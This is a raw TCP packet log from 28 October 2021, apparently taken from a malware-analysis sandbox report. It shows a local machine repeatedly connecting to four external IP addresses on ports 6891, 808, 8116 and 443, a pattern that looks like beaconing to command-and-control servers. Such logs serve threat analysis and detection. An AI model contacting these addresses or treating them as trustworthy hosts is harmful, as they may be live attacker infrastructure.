Oct 28, 2021 04:58:48.272418022 CEST	49849	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:48.395361900 CEST	443	49848	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:48.395457029 CEST	443	49848	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:48.395504951 CEST	49848	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:48.395534992 CEST	49848	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:48.398957014 CEST	49848	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:48.398976088 CEST	443	49848	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:48.438838959 CEST	6891	49849	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:48.438860893 CEST	6891	49849	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:48.478451014 CEST	6891	49849	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:48.601145983 CEST	49850	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:48.758867979 CEST	808	49850	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:48.759025097 CEST	49850	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:48.759721041 CEST	49850	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:48.829888105 CEST	6891	49849	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:48.829910994 CEST	6891	49849	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:48.830035925 CEST	49849	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:48.830074072 CEST	49849	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:48.839009047 CEST	49849	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:48.917362928 CEST	808	49850	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:48.917387009 CEST	808	49850	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:48.918096066 CEST	49850	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:48.918698072 CEST	49850	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:48.923902988 CEST	49850	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:48.924053907 CEST	49850	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:48.963510990 CEST	49851	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:49.005525112 CEST	6891	49849	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:49.016294003 CEST	8116	49851	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:49.016442060 CEST	49851	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:49.017199039 CEST	49851	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:49.069593906 CEST	8116	49851	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:49.069730997 CEST	8116	49851	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:49.070358038 CEST	49851	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:49.070379972 CEST	49851	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:49.075783968 CEST	49851	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:49.075892925 CEST	49851	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:49.076158047 CEST	808	49850	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:49.081387997 CEST	808	49850	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:49.081445932 CEST	808	49850	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:49.081525087 CEST	808	49850	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:49.081726074 CEST	808	49850	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:49.128182888 CEST	8116	49851	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:49.129606962 CEST	8116	49851	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:49.299009085 CEST	8116	49851	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:49.299031019 CEST	8116	49851	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:49.299190998 CEST	49851	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:49.299230099 CEST	49851	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:49.308536053 CEST	49851	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:49.361011028 CEST	8116	49851	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:49.448036909 CEST	49852	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:49.448097944 CEST	443	49852	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:49.448200941 CEST	49852	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:49.448909044 CEST	49852	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:49.448939085 CEST	443	49852	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:49.473242998 CEST	808	49850	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:49.473267078 CEST	808	49850	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:49.473381996 CEST	49850	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:49.475963116 CEST	49850	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:49.600817919 CEST	49853	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:49.634371996 CEST	808	49850	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:49.767225981 CEST	6891	49853	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:49.767374039 CEST	49853	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:49.768448114 CEST	49853	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:49.933083057 CEST	443	49852	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:49.933249950 CEST	49852	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:49.933994055 CEST	49852	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:49.934015036 CEST	443	49852	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:49.934669018 CEST	6891	49853	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:49.934869051 CEST	6891	49853	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:49.934954882 CEST	49853	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:49.935447931 CEST	49853	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:49.940752983 CEST	49853	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:49.940872908 CEST	49853	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:49.941000938 CEST	49852	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:49.941020966 CEST	443	49852	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:49.941201925 CEST	49852	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:49.941220999 CEST	443	49852	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:50.107156992 CEST	6891	49853	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:50.107170105 CEST	6891	49853	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:50.486531019 CEST	6891	49853	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:50.486557007 CEST	6891	49853	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:50.486692905 CEST	49853	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:50.486759901 CEST	49853	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:50.490736008 CEST	49853	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:50.600943089 CEST	49854	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:50.625456095 CEST	443	49852	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:50.625551939 CEST	443	49852	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:50.625618935 CEST	49852	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:50.625644922 CEST	49852	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:50.634321928 CEST	49852	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:50.634362936 CEST	443	49852	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:50.649182081 CEST	8116	49854	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:50.649337053 CEST	49854	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:50.650350094 CEST	49854	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:50.656986952 CEST	6891	49853	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:50.698721886 CEST	8116	49854	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:50.698882103 CEST	8116	49854	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:50.698952913 CEST	49854	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:50.699443102 CEST	49854	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:50.704953909 CEST	49854	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:50.705065012 CEST	49854	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:50.753148079 CEST	8116	49854	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:50.753396034 CEST	8116	49854	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:50.836904049 CEST	49855	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:50.924561024 CEST	8116	49854	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:50.924576998 CEST	8116	49854	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:50.924635887 CEST	49854	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:50.924680948 CEST	49854	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:50.927967072 CEST	49854	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:50.976070881 CEST	8116	49854	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:50.996032953 CEST	808	49855	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:50.997873068 CEST	49855	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:51.000808001 CEST	49855	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:51.037091970 CEST	49856	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:51.037141085 CEST	443	49856	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:51.037228107 CEST	49856	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:51.038132906 CEST	49856	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:51.038153887 CEST	443	49856	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:51.159862995 CEST	808	49855	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:51.159967899 CEST	808	49855	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:51.160476923 CEST	49855	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:51.161009073 CEST	49855	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:51.167653084 CEST	49855	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:51.167814016 CEST	49855	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:51.320082903 CEST	808	49855	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:51.326745033 CEST	808	49855	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:51.326771975 CEST	808	49855	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:51.326785088 CEST	808	49855	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:51.552064896 CEST	443	49856	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:51.553430080 CEST	49856	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:51.554112911 CEST	49856	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:51.554133892 CEST	443	49856	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:51.558254957 CEST	49856	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:51.558275938 CEST	443	49856	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:51.558340073 CEST	49856	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:51.558351040 CEST	443	49856	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:51.705734015 CEST	808	49855	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:51.705774069 CEST	808	49855	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:51.706804991 CEST	49855	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:51.714689970 CEST	49855	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:51.840154886 CEST	49859	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:51.873737097 CEST	808	49855	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:52.006158113 CEST	6891	49859	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:52.006401062 CEST	49859	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:52.007205009 CEST	49859	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:52.172358036 CEST	6891	49859	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:52.172511101 CEST	6891	49859	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:52.172631025 CEST	49859	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:52.173304081 CEST	49859	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:52.179442883 CEST	49859	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:52.179567099 CEST	49859	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:52.269448042 CEST	443	49856	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:52.269557953 CEST	443	49856	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:52.269640923 CEST	49856	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:52.269674063 CEST	49856	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:52.272907019 CEST	49856	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:52.272942066 CEST	443	49856	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:52.346317053 CEST	6891	49859	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:52.346348047 CEST	6891	49859	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:52.429848909 CEST	49860	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:52.589121103 CEST	808	49860	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:52.589262009 CEST	49860	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:52.590058088 CEST	49860	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:52.732527971 CEST	6891	49859	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:52.732562065 CEST	6891	49859	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:52.732698917 CEST	49859	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:52.732883930 CEST	49859	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:52.744618893 CEST	49859	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:52.749152899 CEST	808	49860	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:52.749295950 CEST	808	49860	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:52.749399900 CEST	49860	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:52.749953032 CEST	49860	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:52.756127119 CEST	49860	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:52.756278038 CEST	49860	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:52.876372099 CEST	49861	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:52.909008980 CEST	808	49860	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:52.909873009 CEST	6891	49859	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:52.915390015 CEST	808	49860	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:52.915414095 CEST	808	49860	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:52.915462017 CEST	808	49860	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:52.930495977 CEST	8116	49861	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:52.930696964 CEST	49861	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:52.931418896 CEST	49861	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:52.985230923 CEST	8116	49861	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:52.985562086 CEST	8116	49861	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:52.985640049 CEST	49861	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:52.986223936 CEST	49861	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:52.991838932 CEST	49861	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:52.991992950 CEST	49861	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:53.045962095 CEST	8116	49861	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:53.046139002 CEST	8116	49861	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:53.229592085 CEST	8116	49861	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:53.229645014 CEST	8116	49861	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:53.229809046 CEST	49861	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:53.237178087 CEST	49861	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:53.291208982 CEST	8116	49861	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:53.299715996 CEST	808	49860	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:53.299745083 CEST	808	49860	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:53.299823046 CEST	49860	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:53.299879074 CEST	49860	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:53.303457975 CEST	49860	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:53.351599932 CEST	49862	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:53.351660967 CEST	443	49862	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:53.351754904 CEST	49862	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:53.352571964 CEST	49862	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:53.352603912 CEST	443	49862	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:53.413187027 CEST	49863	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:53.462651014 CEST	808	49860	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:53.579677105 CEST	6891	49863	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:53.579811096 CEST	49863	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:53.581167936 CEST	49863	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:53.747685909 CEST	6891	49863	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:53.747730970 CEST	6891	49863	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:53.749025106 CEST	49863	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:53.749598980 CEST	49863	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:53.754753113 CEST	49863	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:53.754837036 CEST	49863	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:53.874720097 CEST	443	49862	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:53.874803066 CEST	49862	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:53.875461102 CEST	49862	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:53.875475883 CEST	443	49862	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:53.882186890 CEST	49862	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:53.882214069 CEST	443	49862	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:53.882352114 CEST	49862	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:53.882361889 CEST	443	49862	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:53.921242952 CEST	6891	49863	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:53.921271086 CEST	6891	49863	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:54.300935984 CEST	6891	49863	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:54.300961971 CEST	6891	49863	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:54.301188946 CEST	49863	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:54.304342031 CEST	49863	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:54.412556887 CEST	49864	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:54.462059975 CEST	8116	49864	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:54.462742090 CEST	49864	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:54.468770981 CEST	49864	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:54.470664024 CEST	6891	49863	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:54.520891905 CEST	8116	49864	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:54.521101952 CEST	8116	49864	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:54.521199942 CEST	49864	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:54.521965981 CEST	49864	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:54.527606010 CEST	49864	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:54.527705908 CEST	49864	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:54.576972961 CEST	8116	49864	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:54.577600002 CEST	8116	49864	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:54.592370033 CEST	443	49862	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:54.592462063 CEST	443	49862	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:54.592576981 CEST	49862	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:54.599900961 CEST	49862	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:54.599955082 CEST	443	49862	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:54.761382103 CEST	8116	49864	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:54.761408091 CEST	8116	49864	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:54.761461020 CEST	49864	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:54.761495113 CEST	49864	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:54.764247894 CEST	49864	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:54.781114101 CEST	49865	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:54.813438892 CEST	8116	49864	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:54.881529093 CEST	49866	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:54.881597042 CEST	443	49866	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:54.881697893 CEST	49866	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:54.882257938 CEST	49866	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:54.882286072 CEST	443	49866	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:54.944061995 CEST	808	49865	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:54.944216967 CEST	49865	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:54.945446968 CEST	49865	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:55.108268023 CEST	808	49865	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:55.108338118 CEST	808	49865	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:55.108470917 CEST	49865	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:55.108916044 CEST	49865	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:55.113123894 CEST	49865	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:55.113214970 CEST	49865	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:55.272173882 CEST	808	49865	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:55.276365995 CEST	808	49865	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:55.276465893 CEST	808	49865	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:55.366404057 CEST	443	49866	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:55.367163897 CEST	49866	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:55.367913008 CEST	49866	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:55.367932081 CEST	443	49866	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:55.374407053 CEST	49866	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:55.374444962 CEST	443	49866	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:55.374536037 CEST	49866	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:55.374547958 CEST	443	49866	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:55.655879974 CEST	808	49865	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:55.655906916 CEST	808	49865	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:55.656034946 CEST	49865	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:55.656066895 CEST	49865	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:55.662909031 CEST	49865	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:55.794095039 CEST	49867	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:55.825717926 CEST	808	49865	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:55.960445881 CEST	6891	49867	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:55.960581064 CEST	49867	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:55.961431980 CEST	49867	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:56.057518959 CEST	443	49866	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:56.057600021 CEST	443	49866	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:56.057727098 CEST	49866	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:56.057749033 CEST	49866	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:56.060450077 CEST	49866	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:56.060488939 CEST	443	49866	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:56.127635002 CEST	6891	49867	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:56.127667904 CEST	6891	49867	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:56.128914118 CEST	49867	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:56.129908085 CEST	49867	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:56.139556885 CEST	49867	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:56.139746904 CEST	49867	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:56.178280115 CEST	49868	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:56.305928946 CEST	6891	49867	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:56.305943012 CEST	6891	49867	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:56.306003094 CEST	6891	49867	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:56.338875055 CEST	808	49868	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:56.338984013 CEST	49868	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:56.339678049 CEST	49868	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:56.500044107 CEST	808	49868	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:56.500272989 CEST	808	49868	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:56.500366926 CEST	49868	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:56.500926971 CEST	49868	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:56.506119013 CEST	49868	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:56.506263018 CEST	49868	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:56.661283970 CEST	808	49868	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:56.666515112 CEST	808	49868	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:56.666532993 CEST	808	49868	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:56.666604996 CEST	808	49868	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:56.691241980 CEST	6891	49867	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:56.691272020 CEST	6891	49867	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:56.691503048 CEST	49867	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:56.698895931 CEST	49867	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:56.820250034 CEST	49869	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:56.865243912 CEST	6891	49867	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:56.868171930 CEST	8116	49869	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:56.868478060 CEST	49869	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:56.869199991 CEST	49869	8116	192.168.2.6	185.56.219.47
